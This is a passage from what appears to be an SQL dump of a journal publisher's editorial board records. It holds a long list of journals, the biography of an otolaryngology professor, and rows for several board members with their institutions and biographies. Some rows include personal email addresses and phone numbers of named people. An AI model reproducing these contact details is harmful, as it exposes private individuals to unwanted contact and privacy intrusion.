Diseases; Head and Neck Pathology; Medical Science Monitor; BioMed Central Ear Nose Throat Disorders; BioMed Central Cancer; European Journal of General Medicine; Journal of Laryngology and Voice; ORL Today; Focus on ORL; Acta Otorhinolaryngologica Italica; Asian Journal of Oral and Maxillofacial Surgery; Tumori; Chirurgia della Testa e del Collo; Giornale di Stomatologia e di Ortognatodonzia; ORL Digest; Arquivos de Otorrinolaringologia; Cancer Control: Journal of the Moffitt Cancer Center; World Journal of Surgical Oncology; International Journal of Surgery; Excerpta Medica; Neurology India; Nowotwory - Journal of Oncology; Journal of Oral Pathology and Medicine; Open Otorhinolaryngology Journal; Journal of Medical Case Reports; African Journal of Microbiology Research; Case Reports and Clinical Practice Review; Journal of Zhejiang University SCIENCE A and B; American Journal of Case Reports; The Open Surgical Oncology Journal; The Open Pain Journal; International Journal of Otolaryngology; Expert Opinion on Medical Diagnostics; The Open Plastic and Reconstructive Surgery Journal; Case Reports in Medicine; The Open Toxinology Journal; International Journal of Biomedical Science; Current Immunology Reviews; BMJ Point of Care; European Journal of General Medicine; Clinical Chemistry and Laboratory Medicine; Frontiers in Molecular Biology; Cases Journal; International Journal of Surgical Oncology; Journal of Cancer Research and Therapeutics; Indian Journal of Cancer; Journal of Chinese Clinical Medicine; Head and Neck Pathology; World Journal of Clinical Oncology; Journal of Environmental Protection; Surgical Science; The Asia-Pacific Journal of Endocrinology; World Journal of Otorhinolaryngology; International Journal of Surgery Case Reports; Oncology Reviews; Odontology;</em><em> </em><em>Surgical Techniques Development; World Journal of Translational Medicine; Acta Stomatologica Croatica; Clinical Investigation; Diagnostic and Therapeutic Endoscopy; World Journal of Anesthesiology; World Journal of Stomatology; World Journal of Surgical Procedures; International Scholarly Research Network (ISRN) Otolaryngology; Journal of Cancer Therapy; Journal of Solid Tumors; Journal of Oncology; Case Reports in Oncological Medicine; Recent Patents on Biotechnology;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Reports in Dentistry; World Journal of Methodology; Otolaryngology; Expert Opinion on Therapeutic Targets; Journal of Hand and Microsurgery; Journal of Clinical Medicine and Research; Journal of Skin Cancer; Clinical Anatomy; Case Reports in Anesthesiology; Life Sciences; British Journal of Medicine and Medical Research; Clinical and Experimental Medical Sciences; International Journal of Technology and Management; Hadhramout Journal of Medical Sciences; Chemotherapy Research and Practice; Frontiers in Internal Medicine; Rare Tumors; Journal of Otology and Rhinology; Journal of Integrated Omics; Advanced Studies in Medical Sciences; World Journal Pathology; International Journal of Otolaryngology Head and Neck Surgery; OA Case Reports;</em> <em>Journal of Oral and Maxillo-Facial Surgery, Medicine and Pathology; </em><em><span style=\"color:black\">The Open Access Journal of Science and Technology, World Journal of Medical and Surgical Case Reports; World Journal of Medical Research; Annals of Medical and Health Sciences Research; Journal of Basic and Reproductive Science; Pathology - Research and Practice; Journal of Tumor; International Journal of Clinical Medicine; Tanta Medical Journal;</span> </em><em>Journal of Surgery; </em><em><span style=\"color:black\">Chronicles of Surgery; International Journal of Medical Sciences and Biotechnology; Journal of Medicine Research and Development; Ecancermedicalscience; Gland Surgery; Applied Scientific Reports; Journal of Gene Therapy; Pulmonology and Respiratory Research; Vaccines &amp; Vaccination; </span></em><em>Journal of Nasopharyngeal Carcinoma; Journal of Toxicology &amp; Health</em><em><span style=\"color:black\">; Enliven: Challenges in Cancer; IRED International Journals/Conferences; Journal of Otolaryngology; Melanoma Management; Journal of Psychology and Psychoterapy Research; SciTechnol; Journal of Clinical Case Reports; Annals of Otolaryngology and Rhinology;</span></em> <em>Annals of Maxillofacial Surgery;</em><em><span style=\"color:black\"> Journal of Pediatric Neuroradiology; International Journal of Clinical Case Studies; Anaplastology; F1000Prime Reports;</span></em> <em><span style=\"color:black\">Austin Journal of Otolaryngology; Scientific Studies on Oncology; The International Journal of Biological Markers; Gastroenterology and Hepatology; Scientific Studies on Oncology (Zeal Scienza); The Journal of Dentist; The Open Biological Sciences Journal; The Open Cancer Journal; International Archives of Medicine; Expert Reviews; Surgery and Transplantation; Biomedicine Hub; Journal of Cytology and Tissue Biology; Canadian Research &amp; Development Center of Sciences and Cultures; International Journal of Clinical &amp; Experimental Otolaryngology; Journal of Biotechnology and Cell Biology; Integrative Cancer Science and Therapeutics; Chronic Diseases &ndash; International; Journal of International Research in Medical and Pharmaceutical Sciences; Jacobs Journal of Otolaryngology; Journal of Internal Medicine; Open Andrology Journal; Clinical Medical Reviews and Case Reports; Cancer Research Frontier; Cancer Research: Open Access Journal; Rare Cancers and Therapy; SM Journal of Oncology and Hematology; Archives of Otolaryngology and Rhinology; Case Studies in Surgery; Journal of Applied Oral Science; Spandidos Publications; Global Surgery; Archives of</span></em> <em>Clinical<span style=\"color:black\"> Pulmonology and Respiratory Care; Journal of Translational Science; Journal of Ophtalmology and Clinical Research; Journal of Pediatric Biochemistry; Journal of Otolaryngology and Rhinology; SM Journal of Clinical Pathology; Journal of Cancer and Clinical Oncology; Oncology Communications; Open Journal of Stomatology; Surgery Open Access; Otolaryngology - Open Journal; Journal of Lung Cancer Diagnostics &amp; Treatment; Journal of Cancer Science and Current Research: Open Access; Journal of Pediatric Genetics; Journal of Otolaryngology Open Access; Journal of Clinical Case studies; Journal of Otorhinolaryngology; SRL Surgery; SRL Oncology &amp; Hematology; Journal of Procedural Dermatology; Austin Journal of Cancer and Clinical Research; Annals of Hematology &amp; Oncology; Medical Reports &amp; Case Studies; Clinical Medical Journal; International Journal of Clinical Research &amp; Trials; Austin Journal of Dentistry; Journal of Respiratory Medicine: Current Research; Open Biological Science Journal; Austin Journal of Forensic Science and Criminology; SRL Cancer &amp; Cellular Biology; Integrative Radiation Oncology and Nuclear Medicine; Journal of Pulmonary and Critical Care Medicine; JBR Journal of Translational Clinical &amp; Experimental Oncology; Gavin Journal of Oncology Research and Therapy; Oncology Communications;</span></em> <em><span style=\"color:black\">Diagnostic Pathology; Austin Hypertension; Journal of Otolaryngology Advances; Scholars Report; Nuclear Medicine and Biomedical Imaging; Expert Opinion on Investigational Drugs; Spondidosis Publications; Madridge Journal of Otorhinolaryngology; Dentistry and Oral Medicine; Otolaryngology Clinics; JSM Surgical Oncology and Research; Clinics in Surgery; Otolaryngology Case Reports; Pain Management Clinics; Annals of Clinical Case Reports; Clinics in Oncology; Journal of Medicine and Surgery; Chemotherapy and Radiotherapy; Cancers &amp; Advanced Therapies; Cancer Management and Research; JSM Oro Facial Surgeries; The Scientific Pages of Oral Health;</span>Emergency Surgery; Journal of Ear, Nose and Throat Disorders; Austin Pediatric Oncology; General Surgery; Journal of Otolaryngology and Reconstructive Surgery; Journal&nbsp; Clinics in Oncology - Chemotherapy and Radiotherapy; Oncology Case Reports; Journal Clinics in Surgery &ndash; Otolaryngology; Open Biological Sciences Journal; SciTz Clinical and Medical Oncology; SciTz Dentistry: Research &amp; Therapy; Journal of Case Reports in Medical Science;</em> <em>Austin Journal of Surgical Oncology; HSOA Journal of Otolaryngology, Head &amp;&nbsp; Neck Surgery; Cancer Biology &amp; Medicine;</em> <em>JSM Thyroid Disorders &amp; Management; Annals of Thyroid Research; Prime Research in Cancer; JSM Head &amp; Neck Cancer-Cases and Reviews; The Scientific Pages of Anesthesia and Pain Management; Journal of Medical Oncology and Therapeutics; Journal of Phonetics and Audiology; The Scientific Pages of Pulmonology; Heighpubs Otolaryngology and Rhinology; The Scientific Pages of Dermatology; SM Otolaryngology; Heighpubs Food and Nutrition Science; Journal of Cancer and Cure; Journal of Dentistry and Oral Biology; SM Journal of Clinical and Medical Imaging; Journal of General and Emergency Medicine; Current Updates in Otolaryngology; Heighten Journal of Pathology and Clinical Research; Heighten Anesthesia and Clinical Research ;Journal of Clinical Intensive Care and Medicine; Annals of Clinical Otolaryngology; Journal of Surgery &amp; Clinical Practice; SM Dentistry Journal; Kenkyu Journal of Cancers &amp; Advanced Therapies; Hematology &amp; Medical Oncology; Current Updates in Cancer Diagnosis and Treatment; Gavin Journal of Oncology Research; International Journal of Cancer Studies and Research; The Scientific Pages of Oral Cancer; Journal of Cancer and Cure; Journal of Surgical Oncology &amp; Clinical Practice; Integrative Cancer Biology and Research; The Scientific Pages of Brain Cancer; The Scientific Pages of Lung Cancer; Remedy Open Access Journal; JSM General Surgery: Cases and Images; Archives in Microbiology &amp; Immunology; Radiation Oncology - Remedy Open Access; The Scientific Pages of Forest Research; Open Access Journal of Dentistry; Open Access Journal of Pulmonology; Cancer Research - Open Journal; Jacobs Journal of Headache;Gavin Journal of Anesthesiology; Austin Hematology; Annals of Surgery and Perioperative Care; Journal of Respiratory Medicine and Lung Disease; Journal of Cancer Epidemiology &amp; Treatment; Mathews Journal of Surgery; Cancer Biology and Research; Journal of Otolaryngology Current Trends; The Scientific Pages of Physical Medicine; The Scientific Pages of Plant Pathology; Clinical Case Reports, Research &amp; Trials; Cancer Prognostics and Diagnostics ;&nbsp; JSM Head and Face Medicine; Journal of Hematology &amp; Multiple Myeloma; The Scientific Pages of Public Health; The Scientific Pages of Emergency Medicine; Journal of Otolaryngology: Research; Cancer Prevention: Current Research Journal; Clinical and Medical Oncology; Dentistry, Oral Disorders and Therapy; The Pulmonary &amp; Respiratory Research Journal; Clinical Medicine Research; Austin Oncology Case Reports; Current Updates in Clinical Pathology; Chemotherapy and Radiation Oncology; The Scientific Pages of Neuro Oncology; BAOJ Hematology; The Scientific Pages of Leukemia Research; Insights in Surgery; Insights in Head and Neck Cancer; Annals of Men&rsquo;s Health and Wellness;&nbsp; Pharmacology and Toxicology; American Research Journals; Austin Head and Neck Oncology; Austin Pathology; Journal of Gastroenterology, Liver &amp; Pancreatic Diseases; The Scientific Pages of Head and Neck Surgery; Source Journal of Medical Case Report; Austin Dental Sciences; Current Updates in Dentistry; EC Neurology; The Open Access Journal of Science and Technology; Elyns Journal of Surgery; Clinical Dermatology: Research and Therapy; Journal of Plastic Surgery and Modern Techniques; Chemical Biology &amp; Drug Design; The Scientific Pages of Oral and Maxillofacial Surgery; Annals of Surgery&nbsp; and Perioperative Care; Journal of Hematology and Serology; The Scientific Pages&nbsp; of Surgical Endocrinology;The Scientific Pages of Muskuloskeletal Surgery; The Scientific Pages of Anatomy and Physiology;-Annals of Clinical Pathology Research; Annals of Blood Research; International Journal of JENPUB Cancer Sciences; Annals Review of Hematology &amp; Oncology; Sensory System Journal; Austin Journal of Clinical Trials: Open Access; Journal of Clinical and Diagnostic Pathology; The Scientific Pages of Pathology; Journal of Surgical Techniques &amp; Procedures; The Scientific Pages of Laparoscopy; Dentistry &amp; Oral Medicine Case Report; Madridge Journal of Otorhinolaryngology;&nbsp; The Scientific Pages of Pediatric Surgery; Journal of Infectious &amp; Non Infectious Diseases; American Journal of Leukemia Research; Open Access Journal of Thyroid Research; Current Cancer Therapy Reviews; ESMO Open; Journal of Comprehensive Cancer Research; SRL Blood Disorders; Dove Medical Press; CNS Oncology; Open Journal for Blood Cancer; SRL Dentistry; SM Journal of Clinical Trials; The Scientific Pages of Endocrinology and Metabolism; Annals of Research Investigations and Outcomes; Annals of Research Investigations and Outcomes; Journal of Radiation Oncology &amp; Research; Chinese Journal of Dental Research; SM Clinical and Medical Oncology; Journal of Clinical &amp; Experimental Radiology; Chronicle Publishers; SRL Neurooncology and Brain Tumors; SRL Molecular Biomarkers &amp; Diagnosis; SRL Pulmonary and Respiratory Medicine; SRL Primatology; Current Applied Biomedical Sciences; SRL Veterinary Science &amp; Technology; SRL Nuclear Medicine &amp; Radiation Therapy; Mathews Journal of Otolaryngology ; SRL Pharmacology and Toxicology; Current Dentistry; Clinical Images &amp; Case Reports; Annals of Clinical Research and Trials; International Journal of JENPUB Dentistry and Oral Science; Otolaryngology - Remedy Open; Journal of Chronic Pain and Management; Journal of Surgery Forecast; Journal of Cancer Research Forecast; Journal of PeerScientist; International Journal of Radiology &amp; Radiation Therapy; Annals of Multiple Sclerosis and Related Disorders; Journal of Hematology and Oncology Forecast; International Journal of Endocrinology and Metabolism; Journal of Surgery and Acute Care; JSM Sexual Medicine; SRL Biology; Journal of Otolaryngology Forecast; Journal of Emergency Medicine Forecast; Journal of Pharmacovigilance; SM Journal of Minimally Invasive Surgery; Journal of Oncology Research Forecast; SM Pharmacology and Pharmaceutics Journal; Journal of Sarcoma Research; Global Journal of Otolaryngology; Neuro Immunology; Advances in Critical Care Medicine; SL Clinical and Medical Oncology; Journal of Family Medicine Forecast; Annals of Dentistry and Oral Disorders; SM Journal of Lung Pulmonary &amp; Respiratory Medicine; Experiments in Rhinology &amp; Otolaryngology; Future Science OA; Otolaryngology Current Trends; Journal of Nuclear Medicine &amp; Radiology; SM Dentistry &amp; Oral Disorders; Otolaryngology-Annals of Medical Case Reports; Journal of General Surgery; SM Journal of Sexually Transmitted Diseases; Advancements in Bioequivalence &amp; Bioavailability; SM Journal of Spine &amp; Neurosurgery; Journal of Cancer &amp; Metastasis Research; Journal of Gene Therapy and Research; SM Journal of Carcinogenesis &amp; Mutagenesis; Journal of Histology and Cell Biology; Journal of Pathology and Disease Biology; Annals of Otolaryngology; SM Thyroid Disorders and Therapy; Research Journal of ENT; Journal of Pathobiology and Physiology;&nbsp; Clinics in Oncology Research; Annals of Clinical Letters; Journal of Molecular and Cellular Biology Forecast; Journal of Surgery and Anesthesiology; Journal of Dentistry Forecast; Global Journal of Dermatology &amp; Venereology; World Journal of Surgery and Surgical Research; SM Pulmonology &amp; Clinical Research; Journal of Epidemiology and Public Health Reviews; POJ General Medicine; Journal of Surgery: Open Access; &nbsp;&nbsp;&nbsp;&nbsp; Journal of Cancer and Medical Oncology; Annals of Pulmonology and Clinical Research; ProClinS Surgery and Procedures; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jacobs Journal of Ophthalmology; Annals of Medical Case Reports; Clinical Anesthesia and Pain Management; Jacobs Journal of Neurology and Neuroscience; &nbsp; American Journal of Clinical Trials; American Journal of Genetics &amp; Genomics; Developments in Anaesthetics &amp; Pain Management; Asclepius Medical Case Reports; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Asia-Pacific Journal of Clinical Oncology; American Journal of Emergency &amp; Critical Care Medicine;</em> <em>Applied Clinical Pharmacology and Toxicology; Clinical Journal of Surgery; ARC Journal of Surgery; American Journal of Rare Disorders: Diagnosis &amp; Therapy; Journal of Oral Health and Dental Studies; International Journal of Cancer Science Research; Austin ENT: Open Access; Journal of Transdisciplinary Biomedicine; International Journal of Research on Internal Medicine; Journal of Molecular Pathology and Biochemistry; Med Cancer; American Journal of Epidemiology &amp; Public Health; Journal of Regional Anesthesia and Intensive Care; Journal of Nursing Sciences; International Journal of Fisheries and Aquatic Research; Virology &amp; Immunology Journal; Journal of Case Reports and Images; International Journal of Innovative Studies in Medical Sciences; Asclepius Medical Research and Reviews; Open Library of Clinical and Medical Case Reports; Health Care and Community Medicine; Medical Journal of Clinical Trials &amp; Case Studies; Journal of Community Medicine &amp; Public Health; International Journal of Bioremediation &amp; Biodegradation; Journal of Cosmetic and Laser Therapy; ProClinS Case Reports; F1000Research; Medical and Health Sciences; Clinics in Surgery Journal; International Journal of Medical &amp; Clinical Imaging; Oncology and Therapy; Journal of Clinical Case Reports and Review; Annals of Cell and Developmental Biology; Laboratory Cell Biological Technique; Journal of Cancer Clinical Research; Advancements in Bioequivalence &amp; Bioavailability; Cancer and Therapy; Vaccines &amp; Vaccination Open Access; International Journal of Geriatrics and Gerontology; Advanced Surgical Techniques and Procedures; American Research Journal of Otolaryngology; Australasian Medical Journal; Causes &amp; Treatments in Arthritis; SOA-Otolaryngology ENT Research; Research and Review Archives; International Journal of Experimental and Clinical Research; Journal of Oral Hygiene and Health; GSL Journal of Hematology; Journal of Cell Biology and Metabolism; Current Trends in Clinical Trial; Journal of Surgery and Practice; Scientia Ricerca; Journal of Orthodontics and Endodontics; Journal of Clinical Therapeutics and Diagnosis; Clinics in Medicine; International Journal of Biomechanics and Movement Science; SCIAEON Journal of Women&#39;s Health and Complications; Clinical and Medical Case Reports; Surgery &amp; Case Studies: Open Access Journal (SCSOAJ); Journal of Pediatric Dentistry &amp; Hygiene; Annals of Pharmaceutical Nanotechnology and Nanomedicine; Ear Nose and Throat (ENT) Open Access Open Journal; Journal of Lung; Annals of Short Reports; Opthalmology Case Reports;International Journal of Clinical Medicine Research; International Journal of Rhinology &amp; Otolaryngology; Journal of Anesthesia, Surgery and Operative Care; American Journal of Otolaryngology and Head and Neck Surgery; Journal of Tropical Medicine and Health; Journal of Otolaryngology and Neurotology; Journal of Current Research in Otolaryngology; Radiation Therapy - Clinics in Medicine Journal;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hemato Oncology; Journal of Laryngology, Rhinology &amp; Otology; Hematological Diseases and Therapies; Journal of Cancer and Therapeutic Interventions; Journal of Endocrinology and Disorders; Annals of Oncology Short Reports; SEJ ENT Disorders; Journal of Experimental Medicine and Biology; Current Medicine; Virology &amp; Disease; Journal of Pulmonology and Clinical Research;</em> <em>Cancer Clinics Journal; Journal of Pediatric Diseases; Mathews Journal of Cancer Science; Open Journal of Surgery; Journal of the Egyptian National Cancer Institute; Open Access Journal of Oncology; POJ Clinical Case Reports; Journal of Otolaryngology-ENT Research; Global Toxicology ; Medicine Research; Journal of Modern Medicinal Chemistry; General Surgery Open Access; Clinics of Oncology; Annals of Clinical and Medical Case Reports; United Journal of Otolaryngology; International Journal of Lungs &amp; Respiratory System; Cancer and Tumor Review; Journal of Otolaryngology Studies; Journal of Nursing and Healthcare Management; Bio Accent Open Access journal of Case Reports; International Journal of Disease Markers; Journal of Reconstructive Surgery &amp; Anaplastology; Big Data Analytics for Healthcare; Annals of Clinical Diabetes and Endocrinology; Cancer Biotherapy and Radiopharmaceuticals; Clinical Trials and Drug Interactions; Annals of Neurology &amp; Neurosurgery; Science World Journal of Cancer Science and Therapy; DOA Journal of Surgery; DOA Journal of Clinical and Medical Case Reports; Clinical Case Reports; Biomedical Research &amp; Experimental Sciences; Current Analysis on Oncology; Scient Journal of Cancer Science; Biomedical Research &amp; Experimental Sciences; International Journal of Surgery and Research; Family Medicine and Primary Care; Clinical Oncology Research Journal; Journal of Biomarker Research and Studies; Cases Med Research Journal; Journal of Neurology and Epidemiology; Neurology and Neurorehabilitation Research; Global Scientific Research Journal of Surgery, </em><em>International Journal of Tropical Medicine and Health;</em> <em>Annals Journal &amp; Bulletin Journal;</em> <em>Enliven: Clinical Case Reports; Archives of Community and Family Medicine;</em> <em>Advances in Pharmacology &amp; Clinical Trials; Chemotherapy Research Journal; Journal of Natural Products Research Updates; Open Journal for Surgery Case Reports; Archives of Surgery; Journal of Emergency, Critical Care and Diagnostic Management; Chemotherapy Research Journal; Preventive Medicine Research;&nbsp; International Journal of Clinical Pathology and Diagnosis; Global Scientific Research Journal of Public Health; Journal of surgery and advanced surgical techniques; Journal of Recent Advancement in Food Science and Nutrition Research; Journal of Regional Anesthesia and Intensive Care; Current Analysis on Oncology; Global Journal of Human Anatomy and Physiology Research; Signal and Information Processing; Spinal Diseases and Research; Journal of Clinical and Medical Imaging; International Technology and Science Publications; International Journal of Thyroid Disorders and Therapy; Postgraduate Medicine; Journal of Infectious Diseases and Therapeutics; Medical Frontiers; Journal of Rheumatology &amp; Arthritis Research; Journal of Human Anatomy; American Journal of Microbiology &amp; Biochemistry; Journal of Autoimmune Diseases and Rheumatology; Journal of Clinical and Laboratory Investigation Updates; Journal of Family Medicine &amp; Public Health;&nbsp; Journal of Palliative Medical Care &amp; Research; Management Science and Engineering; LOJ Medical Sciences; Journal of Surgical Science and Operative Care; European Journal of Rheumatology; CPQ Medicine; Online Journal of Otolaryngology and Rhinology; Innovations in Rehabilitation Research.</em></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Professor Ferlito has been awarded <em>ad hominem</em> fellowship from the Royal College of Surgeons of Edinburgh and <em>ad eundem</em> fellowship from the Royal College of Surgeons of England, Glasgow, Ireland and Dental Surgery of the Royal College of Surgeons of England. He is a fellow or a member of the American College of Surgeons, the Royal College of Pathologists, the Royal Society of Medicine of London, the American Otological Society, the American Laryngological Association, the Collegium Oto-Rhino-Laryngologicum Amicitiae Sacrum, the American Laryngological Rhinological and Otological Association, the American Society for Head and Neck Surgery, the Society of Head and Neck Surgeons, the American Broncho-Esophagological Association, the American Rhinologic Society, the Association for Research in Otolaryngology, the American Academy of Otolaryngology-Head and Neck Surgery, the International Broncho-Esophagological Society, the Oto-Rhino-Laryngological Society of Japan, the Japan Laryngological Association, the American Association for the Advancement of Science, the Hungarian Association of Otorhinolaryngologists (Honorary), the Slovenian Association of Otorhinolaryngologists, the Slovak Society of Otolaryngology-Head and Neck Surgery (Honorary), the Spanish Society of Otorhinolaryngology-Head and Neck Surgery (Honorary), the Israeli Society of Head and Neck Surgery and Oncology, the Hong Kong College of Otolaryngologists, the New York Academy of Sciences, the Laryngeal Cancer Association, Deutsche Gesellschaft f&uuml;r Hals-Nasen-Ohren-Heilkunde, Kopf- und Hals-Chirurgie, the American Society for Clinical Pathology, the College of American Pathologists, the International Academy of Pathology, the International Academy of Oral Oncology and the Interventional Oncology Society.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Professor Ferlito has been honored with several distinctions from professional ENT Societies including two Presidential Citations from the American Laryngological Association for his contributions made to the field of laryngology and the association. He has been appointed as the International Liaison for Corresponding Fellows of the American Laryngological Association. He is also a Fellowship External Examiner in Otorhinolaryngology at the Royal College of Surgeons in Ireland.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">He has been invited as visiting professor at the Departments of Otolaryngology of the Universities of Ljubljiana, Valencia, Zagreb, Yale, Pittsburgh, Amsterdam, San Francisco, Hong Kong, Seoul and Tokyo, at the House Ear Institute of Los Angeles, at the Memorial Sloan-Kettering Cancer Center and Montefiore Medical Center of New York. He collaborated as a member of the World Health Organization&rsquo;s Committee on Histological Typing of Tumours of the Upper Respiratory Tract and Ear. He is also a member of the Laryngeal Cancer Association&rsquo;s Committee on the Classification of Laryngeal Cancer. He was consultant to Yale University.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Professor Ferlito has delivered prestigious lectures all over the world. In 2006 he gave the 2<sup>nd</sup> Morrison Lecture in San Francisco and the 19<sup>th</sup> Som Lecture in New York. He has divided his professional life between clinical practice, teaching and research. One of his chief interests is the promotion of international cooperation in head and neck surgery, oncology and cancer research. </span></span></p>\r\n',1,'2019-02-13 17:15:55','2019-02-13 17:16:59',1),(416,15,20,'1550058706.jpg','Betul Yuzbasioglu Ertugrul','betulyuzbasioglu@outlook.com','905066966606','Associate Professor','Editorial board member','Turkey','Izmir Demokrasi University','26','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Betul ERTUGRUL, Dental Doctor (Ph.D.- Orthodontics), now is an Associate Professor of Orthodontics, head of the Izmir Demokrasi University Dentistry Faculty Department of Orthodontics, members of the Turkish association of dentists, European Federation of Orthodontics and Turkish Federation of Orthodontics. He got his Masters Degree at Ege University, Dentistry Faculty and She got his Ph.D and Specialist Dr. in Orthodontics, at Van Yuzuncu Yil University Dentistry Faculty. His PhD Thesis is about Orthodontics, EVALUATION OF THE EFFECT OF TWO DIFFERENT INDIRECT BONDING METHODS ON THE CONNECTION STRENGTHS OF THE BOTTOM IN THE LOWER JAW MODEL WITH EXTREMELY ANTERIOR TRANSPARENCY IN VITRO.&nbsp;<br />\r\n<br />\r\n<strong>Research Interest:</strong> &nbsp;Bonding Methods Dental lasers Dental immunology Dental tomography</span></p>\r\n',1,'2019-02-13 17:21:46','2019-02-13 17:21:46',1),(417,20,20,'1550060021.jpg','Ramesh C Gupta','guptaramesh1954@yahoo.in','9436002734','Pro Vice Chancellor','Editorial board member','India','Nagaland University','14','<p><span style=\"font-family:Times New Roman,Times,serif\">Prof. Ramesh C. Gupta is the Pro Vice Chancellor in the Nagaland University, India. He has recived his degree of M.Sc and Ph.D Chemistry from Lucknow University. He has the experience of 40 yrs and is Professor since 2000. He has delivered inaugural &amp; keynote lecture, plenary &amp; invited talks, chaired technical sessions and is the editorial board member of many journals.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interest:</strong> Organic synthesis, medicinal chemistry and Drug Development, Chemistry and Toxicology of natural substances, nutriceuticals &amp; functional food, amino-acid in nutrition, taurine, analogues and Biological actions, soil heath., environmental Biotechnology &nbsp;aspects, Science popularization &amp; education and gender issues.</span></p>\r\n',1,'2019-02-13 17:43:40','2019-02-13 17:43:40',1),(418,19,20,'1550148701.jpg','Kunal Biswas','kunal.sapiens@gmail.com','','PhD Research Scholar, Deptt. of Biotechnology','Editorial board member','India','Maulana Abul Kalam Azad University of Technology','19','',1,'2019-02-14 18:21:40','2019-02-14 18:24:20',1),(419,30,20,'1550226108.jpg','Ewelina Grywalska','ewelina.grywalska@gmail.com','+48 533 75 44 55','Chair and Department of Clinical Immunology','Editorial board member','Poland','Medical University of Lublin','15','<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research Interest:</strong></em>&nbsp;Immunology and immunotherapy of human cancers</span></p>\r\n\r\n<ul style=\"list-style-type:square\">\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Evaluation of chosen populations of lymphocytes and cytokines in pathogenesis and progression of neoplasms</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Role of viral and bacterial infections in carcinogenesis</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Immune suppression in cancer and its mechanisms</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Prophylaxis of infection in patients with cancer and other hematological diseases</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Diagnosis and treatment of primary immunodeficiencies</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Causes, diagnosis and treatment of secondary immunodeficiencies</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Immune disorders in the course of laryngological, pulmonary, endocrine, hepatic, renal, gastrointestinal, gynecological and dermatological diseases</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Evaluation of preventive vaccination efficiency</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Development of anti-cancer vaccines</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Studies of dendritic cells in cancer</span></li>\r\n</ul>\r\n',1,'2019-02-15 15:51:48','2019-02-15 15:55:53',1),(420,30,20,'1550226517.jpg','Zohreh Youssefi Roudsari','YousefiZ@mums.ac.ir','+98-915 116 07 50','Professor of OBGYN Ghaem Hospital, Medical Sciences ','Editorial board member','Iran','Mashhad University','16','',1,'2019-02-15 15:58:36','2019-02-15 15:58:36',1),(425,34,20,'1550228990.jpg','Lawrence A. Lavery','larry.lavery@utsouthwestern.edu','','Professor, Plastic Surgery','Editorial board member','USA','University of Texas Southwestern Medical Center','01','<p><span style=\"font-family:Times New Roman,Times,serif\">Lawrence Lavery, D.P.M., M.P.H., is a board-certified podiatrist and Professor of&nbsp;Plastic Surgery,&nbsp;Orthopaedic Surgery, and&nbsp;Physical Medicine &amp; Rehabilitation&nbsp;at UT Southwestern Medical Center. He is also medical director of UT Southwestern&rsquo;s Comprehensive Wound Care Center and director of the amputation prevention program at Parkland Memorial Hospital.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Lavery completed his undergraduate studies at Indiana University and then earned his medical degree at the Dr. William Scholl College of Podiatric Medicine in Chicago. He completed a residency in podiatric medicine and surgery at the University of Texas Health Science Center in San Antonio, where he also earned a Master in Public Health.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Prior to joining UT Southwestern in 2010, Dr. Lavery held academic appointments at the Texas A&amp;M Health Science Center College of Medicine in Temple; the University of Texas Health Science Center in San Antonio; and Loyola University Medical Center in the Chicago area. He has also served as a staff podiatrist at VA hospitals in San Antonio and Illinois.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Lavery is a member of the American Podiatric Medical Association, the American Diabetes Association, and the Texas Podiatric Medical Association. He has been invited to lecture on podiatric medicine, diabetic ulcers, and wound care at medical conferences around the world and has published a dozen book chapters and more than 150 research articles on these topics.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has served on the editorial board for&nbsp;Diabetes Care&nbsp;and the&nbsp;International Diabetes Monitor, and was editor-in-chief of&nbsp;Foot and Ankle Quarterly&nbsp;and deputy editor of the&nbsp;Journal of Foot and Ankle Surgery.</span></p>\r\n',1,'2019-02-15 16:39:53','2019-02-15 16:39:53',1),(426,34,20,'1550229074.jpg','Grant T Fankhauser','gtfankha@utmb.edu','4097726366','Assistant Professor, Surgery ','Editorial board member','USA','University of Texas Medical Branch','02','',1,'2019-02-15 16:41:13','2019-02-15 16:41:13',1),(427,34,20,'1550229291.jpg','John F. Bebawy','j-bebawy@northwestern.edu','(312) 695-0061','Associate Professor of Anesthesiology & Neurological Surgery','Editorial board member','USA','Northwestern University Feinberg School of Medicine','03','<p><span style=\"font-family:Times New Roman,Times,serif\">John F. Bebawy, MD is an Associate Professor of Anesthesiology &amp; Neurological Surgery at Northwestern University.&nbsp; His clinical and research interests and expertise relate to Neuroanesthesia, with a focus on interventions that affect cerebral blood flow and cerebrovascular hemodynamics.&nbsp; Dr. Bebawy completed his Anesthesiology residency and Neurosurgical Anesthesiology fellowship training at Northwestern in 2008, where he is currently faculty and Program Director of the 